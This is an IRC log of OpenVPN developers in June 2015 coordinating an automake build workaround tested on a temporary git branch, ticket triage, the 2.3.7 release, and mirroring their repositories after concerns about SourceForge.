<@cron2> if we decide to go there, I'd test it on my most recent (1.15) and oldest (1.10) box 13:11 <@syzzer> I don't understand why that works, but tbh I don't want to know :p 13:11 <@cron2> syzzer: configure.ac can pass automake options, and they can be m4 macros... 13:11 <@cron2> and yes, I share that sentiment :) 13:12 <@cron2> basically, we have two alternatives - "stick to what we have" (and work around it by a buildbot script) or "go for the configure.ac hack"... 13:12 * syzzer votes hack 13:13 <@mattock1> I think the configure hack is less painful, and breaks less often 13:13 <@mattock1> we might want to pretest it to ensure all buildslaves accept it 13:13 <@mattock1> maybe push the changes to a temporary branch and manually force a build on all buildslaves? 13:14 <@cron2> that's what I meant - if it works on freebsd 9.0 and opensolars (automake 1.15 <-> 1.10) should give a good indication 13:14 <@cron2> or that 13:14 <@cron2> let me test that :) 13:16 * dazo passing by quickly 13:16 <@dazo> I can run some tests on a CentOS5 box 13:16 <@mattock1> dazo: hi, that would be great! 13:16 <@cron2> dazo: I think for testing, using the buildslave army with a temporary branch is good enough - but what do you *think*? 13:17 <@dazo> if you want to be sure it works on our oldest distro before pushing anything out, I'm keen on testing it 13:17 <@cron2> please test :) 13:17 <@dazo> I think the configure.ac script hack is the best approach, if we want to not annoy users with "your automake is too old" 13:17 <@dazo> s/users/developers/ 13:17 <@cron2> but I have a git question for you :) 13:17 <@dazo> shoot! 13:17 <@mattock1> dazo: very good point 13:18 * cron2 has created a local branch "experimental" - this is easy. Which repo shall we use for that, and how do I push it there? I use the "git push-all" setup you told me to use... 13:18 <@dazo> right ... git push $REPO $BRANCH 13:19 <@dazo> to list all configured repos: git remote -v 13:19 <@cron2> well, that's the basic part (and I understand) 13:19 <@cron2> which of the openvpn repos we want to use for this? 13:19 <@mattock1> this is now official: https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#ManagingTractickets 13:19 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 13:19 <@cron2> we have sf/openvpn-testing, sf/openvpn, and github/openvpn 13:19 <@dazo> IIRC, buildbot pulls the github repos .... unless I'm completely mistaken .... mattock1? 13:19 <@mattock1> actually it pulls from SF.net currently 13:20 <@mattock1> but that's trivial to change 13:20 <@cron2> which sf repo? 13:20 <@mattock1> lemme check again 13:20 <@dazo> that's the right question :) 13:20 <@cron2> we have testing/experimental already... stick at "45c9e79 Prepare the OpenVPN v2.3_alpha2 release"... 13:20 <@mattock1> openvpn-testing 13:20 <@dazo> please use that branch 13:21 <@dazo> we've not had anything in particular which was /that/ risky since we started the 2.2 dev cycle 13:22 <@cron2> ok, please walk me through it :-) - my "experimental" branch is based off master now 13:23 <@cron2> I have a remote "testing" defined that points to git://git.code.sf.net/p/openvpn/openvpn-testing 13:23 <@dazo> cron2: you might want to check out the experimental branch ... and just do: git reset --hard master .... and then do a git push with --force 13:23 <@cron2> (and ssh://...) 13:23 <@cron2> so, my local branch goes to "git push testing experimental"? 13:24 <@dazo> people pulling down the testing repo will get a warning that that branch was forcefully updated if you used --force ... but that's of no concern, at least not with the meeting minutes today 13:24 <@cron2> why would it need --force? 13:24 <@dazo> git checkout testing/experimental 13:24 <@dazo> git reset --hard master 13:24 <@dazo> git push [--force] testing experimental 13:24 <@cron2> I'm not sure I understand what that will do 13:25 <@cron2> or: why can I not push my local "experimental" branch to "testing experimental"? Or will it do the same thing under the hood? 13:25 <@dazo> the reset will completely ignore which branch the experimental branch was forked from 13:25 <@cron2> but wouldn't that push "master" to testing/experimental? 13:25 <@dazo> ahh, right ... it's basically the same thing ... as you just completely disregard the old stuff in that branch 13:26 <@cron2> lets see 13:26 <@dazo> yes, it will ... so git reset *is* risky ... and with --hard, it does delete history 13:26 <@dazo> (in that branch) 13:26 * cron2 just pushed and git was happy :-) 13:26 <@cron2> 45c9e79..62d555c experimental -> experimental 13:26 <@dazo> \o/ 13:26 * dazo pulls 13:26 <@cron2> commit 62d555c4e781c0f7f659b2660410452636030d39 13:26 <@cron2> Use configure.ac hack to apply serial_test AM option only if possible. 13:27 <@cron2> indeed, git is even smarter than I thought - it has nicely rebased testing/experimental to master+configure.ac :) 13:27 <@dazo> we have a surprisingly clean repo these days ... because this was basically a rebase from a 2.2_alpha release to latest master without any conflicts 13:28 * dazo finds his CentOS 5 box 13:29 <@cron2> dazo: I'm carefully only doing what you told me to :-) (*and* I'm quite careful with my local "master" repo, unlike the massacres I do to all the other copies flying around) 13:29 <@dazo> :) 13:29 <@cron2> mattock: can you build 62d555c4e781c0f7f659b2660410452636030d39? 13:29 <@dazo> autoreconf -vi ran successfully 13:29 <@mattock1> tip of experimental branch? 13:29 <@cron2> yep 13:30 <@mattock1> I'll see what happens 13:30 <@mattock1> haven't actually ever tried to build a different branch :) 13:31 <@mattock1> cron2: any good candidate for breakage? 13:31 <@syzzer> (in the mean time, I'm trying to revive my windows builds, and the EAI_SYSTEM -> EAI_AGAIN change makes it compile for me) 13:31 <@dazo> mattock1: I believe if you give a commitish via the webui, it'll do the right thing 13:31 <@mattock1> dazo: having a look 13:31 <@cron2> mattock1: well, the old patch broke opensolaris, freebsd7, debian-7 13:31 <@syzzer> but the mingw-linker is a bit lost it seems 13:31 <@cron2> syzzer: what is it missing? 13:32 <@dazo> (branches are commitishes on steroids) 13:32 <@syzzer> seems to try to link to an older version of polarssl 13:32 <@cron2> oh well, *that* is not my doing :) 13:32 <@syzzer> no, different issue 13:32 <@syzzer> i suspect the polarssl -> mbedtls naming... 13:32 <@dazo> cron2: I don't have t_client.rc on my centos 5 box ... but it's compiling the experimental branch now ... I believe that's further than last time 13:33 <@dazo> testing on RHEL7 now 13:33 <@mattock1> it started building 62d555c4e781c0f7f659b2660410452636030d39 on debian 7 13:33 <@mattock1> I'll try to trigger the windows build now 13:33 <@syzzer> aargh "libmbedtls.a" 13:33 <@cron2> dazo: well, on centos 5, if it compiles, you won't see the difference anyway :-) - but even without t_client.rc, "make check" will run the two other tests and nicely show their output, as opposed to "hide it, print nothing for 3-4 minutes, then summary" 13:34 <@cron2> mattock1: that "should" be "just linux autotools", but let's see :) 13:34 <@dazo> and that happens ... on both CentOS 5 and RHEL 7 13:34 <@cron2> dazo: which "that" in particular? 13:35 <@dazo> cron2: "make check" will run the two other tests and nicely show their output 13:35 <@cron2> *that* "that" is good :) 13:35 <@dazo> :) 13:35 <@dazo> my RHEL box got t_client.rc ... which also runs 13:35 <@cron2> the other that ("hide") wouldn't be welcome :) - what automake version has RHEL7? 13:36 <@dazo> automake (GNU automake) 1.13.4 13:36 <@dazo> CentOS 5: automake (GNU automake) 1.9.6 13:36 <@cron2> ok, that has parallel tests - so if that works, the patch does the job. Good :) 13:36 <@cron2> (1.13 that is) 13:36 <@dazo> yeah 13:36 <@cron2> 1.9 is ooold. Not breaking that is also very welcome. 13:37 <@dazo> :) 13:39 <@cron2> debian-7 buildbot failed, but that smelled more like connectivity issues to sf.net 13:39 <@mattock1> cron2: the branch was still set to master 13:39 <@mattock1> hence it could not find the commit id 13:40 <@mattock1> now it builds top of "experimental" 13:40 <@cron2> mattock1: did the buildmaster just hickup 13:40 <@cron2> ? 13:40 <@mattock1> the debian 7 build from experimental worked as expected, branch "experimental" 13:40 <@mattock1> cron2: buildmaster should be ok 13:41 <@cron2> can't get to http://10.177.36.101:8010/builders 13:41 <@dazo> make check successfully completed on CentOS 5 and RHEL 7 ... Spinning up a Fedora 22 VM ... just for sanity 13:41 <@cron2> ah, sorry 13:41 <@mattock1> cron2: I'm surfing the buildbot webui right now 13:41 <@cron2> local error 13:42 * cron2 has a socks proxy into corporate network that can be turned on and off by a button in chrome, and it was "on" 13:43 <@mattock1> windows build with the patch ongoing 13:44 <@mattock1> shall we move to topic #3 (OpenVPN 2.3.7) next? 13:44 <@cron2> mmmh, fsbd90 was offline, openvpn client died... what sort of crappy product is this 13:44 <@cron2> yep, and return to this when we have results :) 13:45 <@mattock1> so let's see what Trac says and then see what the real status is 13:45 <@cron2> let's decide on release date first - this week, or "eventually"? 13:46 <@syzzer> "this week" 13:46 <@syzzer> there a lot of good stuff in release/2.3 13:46 <@mattock1> sounds good 13:46 <@mattock1> cron2: shall I trigger a build of "experimental" on all builders? 13:46 <@cron2> ok, in that case I suggest leaving #427, #481, #523 on 2.3.7, and move the rest to 2.3.8 13:46 <@cron2> mattock1: please :) 13:46 <@mattock1> started 13:47 <@cron2> fbsd90 just reconnected 13:47 <@mattock1> checking the tickets... 13:47 <@cron2> I have patches out for #472, #481 and #523, I just need a few ACKs 13:47 <@cron2> 427 13:48 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 13:48 <@cron2> #521 and #180 are quite similar, and need a bit of "stare in the code and think", but that's an area I'm not so familiar with, so I didn't start yet 13:48 <@cron2> #395 could use a bit of documentation :) 13:49 <@syzzer> I guess #481 is "lazy ACK" ? 13:49 <@cron2> I had hoped to hear back from the original reporter (mandree has included it as optional patch in the freebsd port), but they are all in holiday or so 13:49 <@mattock1> cron2: re: 395: I provided a suggestion for the docs 13:50 <@cron2> mattock1: works for me 13:50 <@cron2> the </connection> should go into a separate ticket 13:50 <@mattock1> ok, then I'll send a patch and create that ticket 13:50 <@cron2> which is something for plaisthos to frown upon :) 13:52 <@cron2> mattock1: so how do you trigger an "all slaves" build with a specific branch/commitish? 13:53 <@cron2> ah, just on the end of /builders 13:53 <@mattock1> click "builders", scroll to the bottom to the "Force all builds" section and set branch to "experimental" 13:53 <@mattock1> yeah 13:53 <@mattock1> windows build worked, I'll double check it used a patch Git "master" 13:54 <@syzzer> whee, it links \o/ 13:54 <@cron2> cool. Can I have an ACK, please? ;-) 13:54 <@mattock1> yeah, it was using the new patch 13:54 <@mattock1> ack 13:54 <@cron2> but I'll make more use of experimental in the future, this is very welcome 13:55 <@cron2> is it difficult to make the windows builder watch "experimental" and build from there? 13:55 <@mattock1> I think experimental is very useful especially when build breakages could be expected 13:55 <@mattock1> less backpedaling 13:55 <@mattock1> cron2: could you move tickets from 2.3.7 to 2.3.8? 13:56 <@cron2> #141 is actually "we might want to discuss this in a future meeting" 13:56 <@mattock1> I think we should not postpone 2.3.7 too much, we can always make 2.3.8 release in quick succession 13:57 <@cron2> misunderstanding. What we want to do about #141 (how to fix it) needs a bit of discussion, it's not a straightforward answer 13:57 <@mattock1> yeah, that one 13:58 <@cron2> we might want a release 2.3.9 milestone :) (and get rid of the 2.3.0-2.3.6 ones) 13:58 <@mattock1> I'll move tickets around a bit 13:58 <@cron2> mmmh 13:59 <@cron2> keep them 13:59 <@cron2> in case someone wants to see "what did we solve for 2.3.5" or so 13:59 <@mattock1> I don't think we can really remove the old milestones 13:59 <@mattock1> maybe from the dropdown list, not sure 14:01 <@mattock1> I believe tickets for 2.3.7 are now in order 14:01 <@cron2> ok, 4 left, 3 have patches on the list, 1 has patches in queue - good :) 14:01 <@mattock1> yep 14:01 <@cron2> oh, #261 will also go in :) 14:02 <@mattock1> ah, the patch submission 14:02 <@cron2> I found time to understand both the feature and the issue :) 14:03 <@mattock1> ok so 2.3.7 is covered? 14:03 <@cron2> yep 14:03 <@cron2> release on wednesday? 14:04 <@dazo> cron2: autotools update ... just did a test on Fedora 22 with automake 1.15 and gcc 5.1.1 ... success there too 14:04 <@cron2> dazo: cool :) 14:04 <@mattock1> wed or thu 14:04 <@mattock1> I'm on a semi-vacation in Crete so I have about 3-4 hours each day at morning of working time 14:05 <@cron2> nice :) 14:05 * cron2 has time in the afternoon and evening 14:05 <@dazo> mattock1: release late thurday, mumble something about security ... and watch the panic unfold ;-) 14:05 <@mattock1> so if I have sources in the evening I might just be able to squeeze out a release the next day 14:05 <@mattock1> dazo: lol :) 14:05 <@cron2> kindergarten is on (semi-)strike, so I have to be at home at 3pm, but kids mostly play together now 14:05 <@mattock1> I've used that card several times already, though 14:05 <@dazo> I'd vote for Wednesday 14:05 <@dazo> if possible to achieve 14:06 <@cron2> if I can get everything ACKed, I can tag and push tuesday evening 14:06 <@dazo> cron2: I'll grant the autotools patch an ACK 14:06 <@cron2> \o/ 14:06 <@cron2> (it's on the list since about 30 seconds or so) 14:07 <@syzzer> few days earlier or later wouldn't matter too much, right? 14:07 <@cron2> not seriously, why? 14:07 <@syzzer> I mean, if its trouble for mattock1 to manage 14:08 <@cron2> ah - I understood "it's ok", but if it does not work out, we release next week or so 14:08 <@syzzer> I could manage him enjoying the sun on Crete, instead of doing a release ;) 14:08 <@mattock1> I've allocated the morning for work 14:09 <@mattock1> so I will "do my best"(tm) but can't promise anything 14:09 <@syzzer> perfect, I'll shut up then ;) 14:09 <@dazo> cron2: ACK sent to ML 14:09 <@mattock1> the good thing is that I hate (just) laying down in the sun for more than 30 minutes or so :D 14:09 <@cron2> freebsd-7.4 failed building, but that was one of the spurious t_client fails - sometimes it just does that, I think there's a race with the high RTT to the test server... need to improve openvpn handshaking anyway 14:09 <@cron2> mattock1: good :) 14:10 <@mattock1> hmm, it seems the hotel wifi router's DNS server stopped working again 14:10 <@mattock1> I was about to send a man-page patch but I suspect that won't work out 14:10 <@mattock1> tomorrow then 14:10 <@cron2> mattock1: you need to leave? 14:10 <@dazo> mattock1: I'm always running my own personal caching name server on my laptop ... to avoid such mess .... or you can leak your DNS lookups to google using 8.8.8.8 14:11 <@mattock1> not due to DNS, but for sleeping reasons very soon 14:11 <@mattock1> yeah, I had to do that earlier today 14:11 <@cron2> shall we quickly cover 2.4 and postpone 8.1? 14:11 <@mattock1> I was about to suggest that we skip 2.4 until after 2.3.7 release, because there's so much stuff under that milestone :) 14:12 <@mattock1> or are they all valid? 14:12 <@mattock1> oh, DNS is back 14:12 <@cron2> oh, you wanted to actually look at all the tickets - that is stuff for a number of meetings I think 14:13 <@mattock1> yeah, exactly 14:13 <@cron2> I just wanted to agree that "these milestones make sense" and quickly sync with syzzer on "where are we"? 14:13 <@mattock1> let's do your version 14:13 <@cron2> "these milestones make sense" :) 14:13 <@dazo> I'd like to see that we're getting the user-input rewrite patches I re-sent to the ML reviewed and included ... Next RHEL7 minor release will support the --no-echo argument, which makes systemd integration work more nicely 14:14 <@cron2> dazo: definitely 14:14 <@mattock1> dazo: do we have a trac ticket for those ptaches? 14:14 <@mattock1> patches 14:14 <@syzzer> dazo: yes 14:14 <@cron2> we do have the patches on the list as well :) 14:14 <@mattock1> yeah, and tickets are good for aiding memory :P 14:15 <@mattock1> even if they just point to a mailing list thread or something 14:15 <@syzzer> from now my focus will shift to 2.4 (and hopefully the stress levels at $dayjob will drop a bit...) 14:15 <@dazo> mattock1: I haven't made a trac ticket .. but if that's a requirement, I can do that 14:15 <@mattock1> dazo: I think it would be good idea to ensure the patches are not forgotten about by mistake 14:15 <@dazo> mattock1: I won't forget my patches ;-) 14:15 <@dazo> I'll just start nagging more and more often ;-) 14:16 <@syzzer> hehe, poking works too indeed ;) 14:16 <@mattock1> if that is what you prefer I'm fine with it :D 14:16 <@cron2> syzzer: yeah, I'm still somewhat in bug fix mode, but one of them (#261) actually touched the redirect gateway stuff sufficiently to get me started on that block (redirect for ipv6) :) 14:16 <@syzzer> re 2.4 milestones: yes, makes sense 14:16 <@cron2> mattock1: I think for the regulars, trac tickets are less important that for occasional visitors :) 14:16 <@dazo> mattock1: it's not really a bug ... it's an improvement over the current state ... so it would be an RFE ticket, not a bug ticket ... and I think we have enough in trac 14:17 <@mattock1> we would not even need them _if_ we could resolve all issues very quickly 14:17 <@dazo> yupp! 14:17 <@cron2> yeah, 5+ extra developers that are happy to wade through 15 year old code that is half magic and half insane, that would be really cool :-) 14:17 <@mattock1> I'm not insisting on adding tickets for their own sake, but if the alternative is to forget, then I prefer a ticket 14:18 <@mattock1> cron2: sounds a lot like H.P. Lovecraft short stories 14:18 <@dazo> mattock1: agreed 14:18 <@mattock1> ok, so 2.4 "covered"? 14:19 <@syzzer> who adds the milestones/ 14:19 <@mattock1> oh milestones... do we want 2.3.9 already at this point? 14:19 <@cron2> mattock1: yes 14:20 <@mattock1> I'll check what we have as far as 2.4 is concerned 14:20 <@syzzer> ok, good :) 14:20 <@mattock1> takes some time, slow Internet 14:21 <@syzzer> I think we might even want to do an 2.4-alpha1 release soon 14:21 <@mattock1> agreed 100% 14:21 <@cron2> I'm so closing #427 now 14:21 <@cron2> syzzer: nah 14:21 <@mattock1> I'd say right after the interactive service is merged 14:21 <@cron2> if we add big functionality (AEAD) after alpha1... 14:21 <@mattock1> what's the status of that one? 14:22 <@cron2> but yeah, we might want "what we have so far + iservice" to get that one out to windows users... 14:22 * cron2 points to syzzer 14:22 <@syzzer> waiting for review, and waiting for syzzer to tidy up and send to ml 14:22 <@mattock1> this was the "jamesyonan and syzzer will do some testing together" thing, right? 14:22 <@cron2> and then it gets stuffed to "experimental" for the first tests :) 14:23 <@cron2> that was AEAD 14:23 <@syzzer> yes, that 14:23 <@mattock1> ok 14:23 <@cron2> well, both iservice and AEAD are waiting for syzzer :) 14:23 <@syzzer> uhuh 14:23 <@mattock1> could we arrange an official meeting with jamesyonan? 14:23 <@vpnHelper> RSS Update - gitrepo: Use configure.ac hack to apply serial_test AM option only if supported. <https://github.com/OpenVPN/openvpn/commit/c615835aa93701c764c23fc2579d97757c1a9970> 14:23 <@cron2> regarding official meeting: should we start planning the den haag hackathon? 14:24 <@mattock1> soonish 14:24 <@syzzer> delft (or amsterdam), but yeah :) 14:24 <@cron2> mattock1: what would be "an official meeting"? 14:24 <@syzzer> I have confirmation that you guys are welcome :) 14:24 <@cron2> syzzer: oh, delft, indeed (amsterdam?) 14:24 <@mattock1> like an IRC meeting with james 14:24 <@syzzer> jjk offered to host too 14:25 <@cron2> I've been to nihkef, about 100 years ago :) - but never to delft 14:26 <@cron2> (and I'm in Amsterdam about once a year, so I would much prefer to see Delft - but Amsterdam would work out for me, too, so that's not a show-stopper) 14:26 <@mattock1> smaller cities are nice 14:26 <@mattock1> anyhow, regarding the Windows 8.1 thing on the topic list 14:26 <@syzzer> I'll send a doodle around somewhere in the coming weeks :) 14:27 <@cron2> syzzer: cool 14:27 <@mattock1> sounds good 14:27 <@mattock1> ... maybe we could postpone it 14:27 <@mattock1> I need to hit the sack 14:27 <@syzzer> fine by me :) 14:27 <@cron2> can I get an ACK on the EAI_AGAIN patch? 14:27 <@syzzer> next meeting in two weeks? 14:27 <@cron2> mattock1: good night, enjoy your half-vacation 14:27 <@mattock1> syzzer: would work for me 14:28 <@cron2> I might be a bit late, but let's aim for it 14:28 <@syzzer> cron2: yes, I'll ack 14:28 <@mattock1> cron2: ACK as it unbreaks things 14:28 <@cron2> (family celebration and traveling back on monday - but then, kids need sleep) 14:28 <@cron2> thanks 14:29 <@mattock1> summary will follow tomorrow, only halfway done 14:29 <@syzzer> (I'll send my ACK on the list too, fits the usual process better) 14:29 <@cron2> g'night :) 14:29 <@mattock1> good night guys! 14:29 <@dazo> c'ya 14:29 <@syzzer> good night! 14:30 <@cron2> whee, feedback from the freebsd folks 14:33 -!- dazo is now known as dazo_afk 14:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 15:46 <@vpnHelper> RSS Update - gitrepo: Fix --redirect-private in --dev tap mode. <https://github.com/OpenVPN/openvpn/commit/1e2b229e5140b784820906feb8446e47c1ecc62e> || Use EAI_AGAIN instead of EAI_SYSTEM for openvpn_getaddrinfo(). <https://github.com/OpenVPN/openvpn/commit/8ceb9619a26f8c507bafbc6d59aed3f65a30455d> 15:46 <@cron2> nearly there 15:50 <@syzzer> only three tickets left in milestone 2.3.7! 15:50 <@cron2> yep :) - now if I could get plaisthos to ACK "[PATCH] Move res_init() call to inner openvpn_getaddrinfo() loop" tomorrow... :-) 15:51 <@cron2> #481 got an "yes, it works, but..." from the freebsd folks (... and the "but" is "I don't understand what a subnet is" stuff... *sigh*) 15:54 <@syzzer> ah, well, you understand the networking, so if they can confirm it works... 15:54 <@cron2> commented into their bugzilla... "subnet on a p2p interface" is quite a hack, but yeah, it works :) 15:55 <@cron2> anyway, sleep now, poke plaisthos tomorrow 16:01 <@plaisthos> cron2: Didn't I ack that? 16:06 <@cron2> no, you acked the other getaddrinfo() one 16:06 <@cron2> ah 16:06 <@cron2> *now* you did :) - thanks 16:06 <@cron2> bed now, merge tomorrow 16:13 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 16:13 -!- mode/#openvpn-devel [+v janjust] by ChanServ 16:16 <@vpnHelper> RSS Update - tickets: #559: Docs/external-links: dead link <https://community.openvpn.net/openvpn/ticket/559> 16:23 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 17:10 <@syzzer> whee, interactive service patches compile again 17:10 <@syzzer> time for bed now though, hopefully time to test it later this week 20:45 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 20:49 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 20:53 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 20:53 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 20:54 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Tue Jun 02 2015 02:17 <@cron2> syzzer: cool 02:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:57 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 02:59 <@cron2> Test sets succeded: 1 1a 1b 1d 2 2a 2b 3 4 4a 5 8. 02:59 <@cron2> Test sets failed: none. 02:59 <@cron2> this is how I want my test output :) 03:00 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:01 <@mattock1> cron2: I sent the small documentation patch 03:01 <@mattock1> it applies cleanly to both 2.3 and master 03:01 <@cron2> whee! 03:02 <@cron2> ================== 03:02 <@cron2> All 3 tests passed 03:02 <@cron2> ================== 03:33 <@vpnHelper> RSS Update - gitrepo: Improve documentation in --script-security section of the man-page <https://github.com/OpenVPN/openvpn/commit/001384e2952b54089e889edbda3196283b21641d> || Move res_init() call to inner openvpn_getaddrinfo() loop <https://github.com/OpenVPN/openvpn/commit/288a819af7d3a6fab9e0b69ae8dbaac74b36307b> 04:21 -!- dazo_afk is now known as dazo 05:22 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:22 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:25 <+janjust> ping cron2 05:25 <+janjust> hi all :) 05:38 <@dazo> hey! 05:38 <@dazo> long time :) 05:40 <+janjust> Heey dazo 05:40 <+janjust> yup that was Munich :) 05:41 <@dazo> yeah ... time flies just too fast :) 05:41 <+janjust> time flies like an arrow, fruit flies like a banana 05:41 <@dazo> hehe 05:41 <+janjust> I actually had a question/remark about trac ticket #160 05:42 <@dazo> right 05:42 <+janjust> I think I found the root cause of the bug, but I'm not sure about the proper solution 05:42 <+janjust> turns out my patch from 4 years pretty much did the trick, but just want some confirmation that we can make it official 05:43 * dazo pulls up the source code 05:44 <+janjust> no rush, I'm off to lunch any minute now (waiting for someone) 05:45 <@dazo> janjust: at a very quick glance, I don't see why that shouldn't be accepted ... seems like a sane fix 05:46 <+janjust> that's what I wanted to talk to Gert about :) 05:46 <+janjust> I think the thing was that we couldn't reproduce the bug, but I've updated the ticket with info on how to do just that 05:47 * janjust will be back after lunch 05:48 <@dazo> enjoy! 06:04 * cron2 saw the comment on #160 yesterday, but didn't have much brains yet to think through it 06:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 06:26 * janjust is back 06:26 <+janjust> ah OK, Gert, it doesn't have to be in 2.3.7 anyways 07:07 <@cron2> yay, I so love useful user contributions to trac tickets (#29, last comment) 07:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:15 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:30 <+janjust> grin@cron2 ... it's from Our Favorite User too! 07:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 08:03 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 08:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:22 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:58 <@plaisthos> n 10:23 <@mattock1> tomorrow I will be on a boat trip, so no release 10:23 <@mattock1> thursday may be possible 10:23 <@cron2> however :) - I'll merge #481 and tag 2.3.7 tonight, so do whenever convenient for you 10:31 <@mattock1> ok, great! 11:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 12:03 <@cron2> whee 12:03 <@cron2> my own corp VPN servers suffer from #481 (FreeBSD, and recently changed to topology subnet) but nobody ever noticed 12:13 <+krzee> mine too, i noticed it long ago and worked around it after being told here that it was known 12:29 <@cron2> apply the patch from #481 or upgrade to 2.3.7 :-) 12:44 <@vpnHelper> RSS Update - gitrepo: Fix FreeBSD ifconfig for topology subnet tunnels. <https://github.com/OpenVPN/openvpn/commit/60fd44e501f2002459a49c6c9bc64370ea26ca87> 12:46 * cron2 wins the "who has authored most commits for 2.3.6->2.3.7", but only by a slim margin and because the serial-tests and EAI_SYSTEM took multiple commits each... 12:53 <@cron2> * [new tag] v2.3.7 -> v2.3.7 12:59 <@dazo> \o/ 13:01 <@dazo> cron2: if you don't count the commit you reverted ... you're down 2 commits, and aligned with syzzer .... ;-) 13:02 <@dazo> oh, no, you're one ahead :) 13:05 -!- dazo is now known as dazo_afk 13:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:05 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:16 <@cron2> dazo: the EAI_ thing took +1 extra for windows, and then we're both at (14) :-) 13:17 <@cron2> but anyway... we should have released 2.3.7 earlier, it has way too much stuff in, and it took half a year 13:19 <@cron2> (OTOH many of our 2.3.x releases have quite a bit of stuff in them... makes me wonder just how bad the code was to start with... :-o ) 13:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 16:04 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 16:38 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 16:38 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 17:06 -!- FredGarnier [sid25073@gateway/web/irccloud.com/x-jxzhlptezweifhhu] has quit [Ping timeout: 252 seconds] 17:42 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 17:43 -!- FredGarnier [sid25073@gateway/web/irccloud.com/x-kzttxcrbzhmzgotc] has joined #openvpn-devel 17:45 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Quit: WeeChat 1.0.1] 18:15 -!- Haigha [~root@aela.xomg.net] has joined #openvpn-devel --- Day changed Wed Jun 03 2015 03:08 -!- dazo_afk is now known as dazo 09:20 <@dazo> mattock: d12fk: cron2_: I think we need to re-evaluate sf.net ... looks like they're about to get evil ... http://seclists.org/nmap-dev/2015/q2/194 ... Not sure if we're in the target zone, but it is worrying what is happening 09:20 <@vpnHelper> Title: Nmap Development: Sourceforge Hijacks the Nmap Sourceforge Account (at seclists.org) 09:22 <@dazo> I anyway think we should have our git trees in at least 2 independent services ... as that's a good way to catch if there has been some manipulation, also for people outside the developer team (if they pull from more than one source) 09:25 <@cron2_> urgh 09:26 <@cron2_> let's just put another copy on git.openvpn.net then? 09:26 <@cron2_> (which actually exists! but it has no IPv6, so I won't use it!) 09:27 <@dazo> yeah, that makes sense 09:27 <@dazo> mattock will have to decide what to do with the mailing lists 09:28 <@cron2_> all the important branches (master, release/2.1, 2.2, 2.3) are on sf+github already, and the testing- repo isn't that important (plus, we all have copies of it anyway) 09:29 <@cron2_> I can also add a repo to github.greenie.net - my machine in SpaceNet's basement, so very well know who touches that box :-) 09:30 <@cron2_> I'd prefer to leave the mailing lists for now, tbh, as my finger-workflow wants to stay there... 09:30 <@dazo> Probably not a bad idea ... I think we also should merge openvpn.git and openvpn-testing.git ... as that separation we had is no longer strictly needed anymore - especially not now when the community works so close and fairly well with the openvpn company 09:33 <@cron2_> maybe re-think our branch/repo policies as well... most of the stuff in testing has been merged, and feat_passtos+feat_vlan_tagging is likely horribly obsolete next meeting? 09:33 <@cron2_> insert " - " before "next meeting" :) 09:35 <@dazo> agreed ... and nobody have actually requested these features in a long long time ... so even though it sounds useful, I doubt it's a critical thing we must have 12:03 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:15 <@cron2_> ecrist: could you push new tarballs to the freebsd/openvpn-devel port, please? There is a patch in that I want on my systems, and I'm too lazy to build myself :) 16:09 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 18:43 -!- dazo is now known as dazo_afk 18:47 <@ecrist> cron2_: I'll work on it. --- Day changed Thu Jun 04 2015 02:40 <@cron2_> thanks :) 03:21 -!- dazo_afk is now known as dazo 03:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:24 <@vpnHelper> RSS Update - tickets: #560: HOWTO improvements - chroot locations <https://community.openvpn.net/openvpn/ticket/560> 06:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 06:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:16 <@cron2_> mattock1: mornin' :-) so how's your time planning? 06:16 * cron2_ is just here for 5 minutes and then off to a protest march against TTIP and CETA 09:16 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:16 